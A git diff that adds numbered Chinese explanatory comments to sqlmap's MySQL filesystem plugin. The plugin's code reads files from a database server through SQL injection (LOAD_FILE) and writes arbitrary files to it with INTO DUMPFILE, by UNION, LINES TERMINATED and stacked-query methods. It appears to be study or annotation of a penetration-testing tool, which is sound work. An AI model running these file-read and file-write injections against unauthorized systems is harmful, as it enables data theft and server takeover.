diff --git a/src/sqlmap-master/plugins/dbms/mysql/filesystem.py b/src/sqlmap-master/plugins/dbms/mysql/filesystem.py index 8ac38c2..b07ed86 100644 --- a/src/sqlmap-master/plugins/dbms/mysql/filesystem.py +++ b/src/sqlmap-master/plugins/dbms/mysql/filesystem.py @@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.agent import agent -from lib.core.common import getSQLSnippet -from lib.core.common import isNumPosStrValue -from lib.core.common import isTechniqueAvailable -from lib.core.common import popValue -from lib.core.common import pushValue -from lib.core.common import randomStr -from lib.core.common import singleTimeWarnMessage -from lib.core.compat import xrange -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.decorators import stackedmethod -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.enums import PLACE -from lib.core.exception import SqlmapNoneDataException -from lib.request import inject -from lib.request.connect import Connect as Request -from lib.techniques.union.use import unionUse -from plugins.generic.filesystem import Filesystem as GenericFilesystem - +# 1. 从库中导入需要的模块 +from lib.core.agent import agent # SQL 注入执行代理 +from lib.core.common import getSQLSnippet # 获取 SQL 代码片段 +from lib.core.common import isNumPosStrValue # 检查值是否为正数 +from lib.core.common import isTechniqueAvailable # 判断某注入方法是否可用 +from lib.core.common import popValue # 弹出栈值 +from lib.core.common import pushValue # 压入栈值 +from lib.core.common import randomStr # 生成随机字符串 +from lib.core.common import singleTimeWarnMessage # 输出只显示一次的警告 +from lib.core.compat import xrange # 兼容的 range 函数 +from lib.core.data import conf # 全局配置信息 +from lib.core.data import kb # 全局知识库 +from lib.core.data import logger # 日志记录器 +from lib.core.decorators import stackedmethod # 堆叠方法装饰器 +from lib.core.enums import CHARSET_TYPE # 字符集类型 +from lib.core.enums import DBMS # 数据库类型枚举 +from lib.core.enums import EXPECTED # 期望类型 +from lib.core.enums import PAYLOAD # payload 类型 +from lib.core.enums import PLACE # 注入位置 +from lib.core.exception import SqlmapNoneDataException # 无数据异常 +from lib.request import inject # 注入相关函数 +from lib.request.connect import Connect as Request # 连接请求 +from lib.techniques.union.use import unionUse # UNION 注入方法 +from plugins.generic.filesystem import Filesystem as GenericFilesystem # 通用文件系统操作类 + +# 2. 定义一个类 Filesystem,继承自 GenericFilesystem class Filesystem(GenericFilesystem): + # 3. 非堆叠读取文件的方法 def nonStackedReadFile(self, rFile): + # 4. 如果不是暴力模式,则输出读取文件信息 if not kb.bruteMode: infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - + # 5. 执行SQL注入,读取文件内容,并以十六进制返回 result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) - + # 6. 返回读取结果 return result + # 7. 堆叠读取文件的方法 def stackedReadFile(self, remoteFile): + # 8. 如果不是暴力模式,则输出读取文件信息 if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) + # 9. 创建支持表 self.createSupportTbl(self.fileTblName, self.tblField, "longtext") + # 10. 获取远程临时目录 self.getRemoteTempPath() + # 11. 构建临时文件名 tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) + # 12. 输出调试信息 debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) + # 13. 通过堆叠查询,将文件内容以十六进制形式保存到临时文件 inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) + # 14. 输出调试信息 debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) + # 15. 通过堆叠查询,将临时文件内容导入到支持表中 inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) + # 16. 从支持表中获取文件内容的长度 length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 17. 如果获取到的文件长度不合法 if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % remoteFile + # 18. 如果是直接模式或可以使用UNION注入 if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if not kb.bruteMode: warnMsg += ", going to fall-back to simpler UNION technique" logger.warning(warnMsg) + # 19. 使用非堆叠方法读取文件 result = self.nonStackedReadFile(remoteFile) else: + # 20. 如果没有可用的方法,则抛出异常 raise SqlmapNoneDataException(warnMsg) else: + # 21. 将获取到的文件长度转为整数 length = int(length) chunkSize = 1024 - + # 22. 如果文件长度大于 chunkSize if length > chunkSize: result = [] - + # 23. 循环读取文件内容 for i in xrange(1, length, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: + # 24. 直接读取文件内容 result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) - + # 25. 返回文件内容 return result + # 26. 使用 UNION 注入写入文件的方法 @stackedmethod def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - + # 27. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) + # 28. 如果在 GET 请求中且编码后的长度大于 8000,则输出警告信息 if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen @@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem): warnMsg += "writing process" logger.warning(warnMsg) + # 29. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 30. 强制使用负数 where 条件 pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE + # 31. 构建 SQL 查询语句 sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) + # 32. 执行 SQL 查询 unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() - + # 33. 输出警告信息,提示文件可能包含垃圾字符 warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) + # 34. 检查写入的文件 return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 35. 使用 LINES TERMINATED 写入文件的方法 def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") + # 36. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) + # 37. 如果在 GET 请求中且编码后的长度大于 8000,则输出警告信息 if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen @@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem): warnMsg += "writing process" logger.warning(warnMsg) + # 38. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 39. 获取 SQL 代码片段 query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) + # 40. 添加 SQL 前缀 query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + # 41. 生成 payload payload = agent.payload(newValue=query) + # 42. 执行 SQL 查询 Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) - + # 43. 输出警告信息,提示文件可能包含垃圾字符 warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) - + # 44. 检查写入的文件 return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 45. 使用堆叠查询写入文件的方法 def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + # 46. 输出调试信息 debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) + # 47. 创建支持表 self.createSupportTbl(self.fileTblName, self.tblField, "longblob") - + # 48. 输出调试信息 logger.debug("encoding file to its hexadecimal string value") + # 49. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", False) - + # 50. 输出调试信息 debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) + # 51. 将文件内容转换为 SQL 查询语句 sqlQueries = self.fileToSqlQueries(fcEncodedList) - + # 52. 输出调试信息 logger.debug("inserting the hexadecimal encoded file to the support table") - + # 53. 设置最大允许的数据包大小 inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) - + # 54. 循环执行 SQL 查询语句 for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - + # 55. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 56. 使用 DUMPFILE 将数据导出到远程文件 # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 57. 检查写入的文件 + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) \ No newline at end of file